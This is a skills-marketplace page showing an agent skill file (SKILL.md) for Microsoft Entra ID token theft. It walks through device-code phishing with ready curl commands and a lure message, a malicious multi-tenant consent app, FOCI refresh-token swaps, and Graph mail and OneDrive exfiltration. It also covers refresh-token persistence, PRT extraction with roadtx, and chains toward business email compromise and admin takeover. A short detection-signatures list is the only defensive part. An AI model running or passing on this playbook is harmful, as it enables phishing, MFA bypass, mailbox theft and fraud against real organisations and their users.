Skip to main content

entra-device-code-phishing

Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.

インストールへ移動

ソース情報

リポジトリ
BitterSecurity/Decepticon
ソースの最終更新活動
2026年6月1日 23:07
検出された SKILL.md の言語
英語
スター
5,565
フォーク
1,053

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
entra-device-code-phishing
description
Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"entra device code phishing oauth illicit consent malicious app registration delegated scopes refresh token replay prt primary refresh token tokentactics graphrunner","subdomain":"cloud","tags":"azure, entra-id, phishing, oauth, token-theft","mitre_attack":"T1528, T1566.002, T1078.004, T1550.001"}
# Entra Device-Code & Illicit-Consent Phishing Steal Entra ID tokens without ever owning the password. Two primary primitives: 1. **Device-code phishing** — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page. 2. **Illicit consent grant** — register an app, get the user to consent to delegated Graph scopes. Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope. ## Phase 1: Device-code flow ### Request the device code ```bash # Use a first-party client ID (impersonate a Microsoft app — no consent prompt). # AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46 # Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264 # Office: d3590ed6-52b3-4102-aeff-aad2292ab01c CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46 TENANT=<TENANT> # or "common" resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \ -d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile") echo "$resp" | jq . DEV_CODE=$(echo "$resp" | jq -r .device_code) USER_CODE=$(echo "$resp" | jq -r .user_code) echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE" ``` ### Pretext delivery Email / Teams message saying *"To join the secure briefing, open `microsoft.com/devicelogin` and enter code `<USER_CODE>`. Code expires in 15 minutes."* — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways. ### Poll for the token ```bash while :; do r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}") err=$(echo "$r" | jq -r .error) case "$err" in authorization_pending) sleep 5 ;; null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;; *) echo "ERR: $err" ; break ;; esac done ``` ### Family-of-Client-IDs (FOCI) — single token, all Microsoft apps The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent: ```bash # Swap to Outlook for mailbox access: curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access" ``` `TokenTactics` / `TokenTacticsV2` (PowerShell) automates the swap matrix. ## Phase 2: Illicit consent grant (malicious app) ### Register the attacker app ```bash # Register in YOUR attacker tenant (multi-tenant). # Redirect URI: https://<ATTACKER>/redirect ; Sign-in audience: multi-tenant + personal MSA # Add delegated scopes (NO admin consent needed): # Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile # Capture App (client) ID = APP_ID APP_ID=<APP_ID> ``` ### Craft the consent URL ```bash SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access" REDIR=https://<ATTACKER>/redirect echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish" ``` Brand the app `Contoso HR Portal` or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has *user consent for low-risk delegated scopes* enabled (default in many tenants), the user single-clicks "Accept" and you have tokens. ### Exchange code for tokens at your redirect ```bash CODE=<CODE_FROM_REDIRECT> curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \ -d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \ | jq . ``` ## Phase 3: Token replay ```bash # Mail exfil curl -s -H "Authorization: Bearer $ACCESS" \ "https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq . # OneDrive exfil curl -s -H "Authorization: Bearer $ACCESS" \ "https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq . # Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants) curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \ -d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}" ``` ## Phase 4: Primary Refresh Token (PRT) concepts A PRT is the long-lived token issued to an Entra-joined / Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device: ```powershell # ROADtools roadtx (post-exploitation, requires local SYSTEM): roadtx prt -u <UPN> # extract PRT cookie via BrowserCore roadtx browserprtauth # use PRT to silently auth as the user → tokens for any FOCI app # Or: Lee Christensen / Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie. ``` A stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim). ## Chains - **Device-code phish → FOCI swap → Outlook + OneDrive exfil → Teams pretext → second victim**. - **Illicit consent → Mail.Send delegated → internal phishing FROM victim mailbox** (BEC). - **Device-code phish on admin → Graph privesc** (see `entra-privesc` § service-principal credential addition). - **PRT theft (post-RCE on joined endpoint) → app tokens forever** (until device disabled). ## Tools - **TokenTactics / TokenTacticsV2** (Steve Borosh) — PowerShell device-code + FOCI swap. - **GraphRunner** (Beau Bullock) — pull mail/files/teams from a stolen token; pivot via consent. - **roadtx** (ROADtools) — full device-code + PRT support. - **365-Stealer** — illicit-consent automation. - **o365 attack toolkit / Evilginx Microsoft phishlet** — alternative path (full MitM). ## Detection signatures - Entra Sign-in log: `Application = Microsoft Authentication Broker` or `Microsoft Azure CLI` from unusual ASN/country = device-code abuse hallmark. - Audit log: `Consent to application` event with `ConsentType=User` + `Scopes` containing `Mail.Read/Files.Read.All` from a non-IT identity. - MS Defender for Cloud Apps `Unusual addition of credentials to an OAuth app` alert. - Risky sign-in: `unfamiliarFeatures` + `anonymousIP` triggered by token replay from Tor/VPS. ## Decision gate - CA blocks unmanaged devices → use FOCI swap to a client whose CA exclusion (`Microsoft Intune Enrollment`) is wider. - Tenant has `User consent disabled` → only admin-consent path → social-engineer a Global Admin or pre-existing app-owner. - Got Global Admin via consent? Pivot to `entra-privesc` for app-credential persistence (survives password reset). - Got mailbox tokens only? Run BEC playbook via Mail.Send before refresh token expires.
GitHubで見る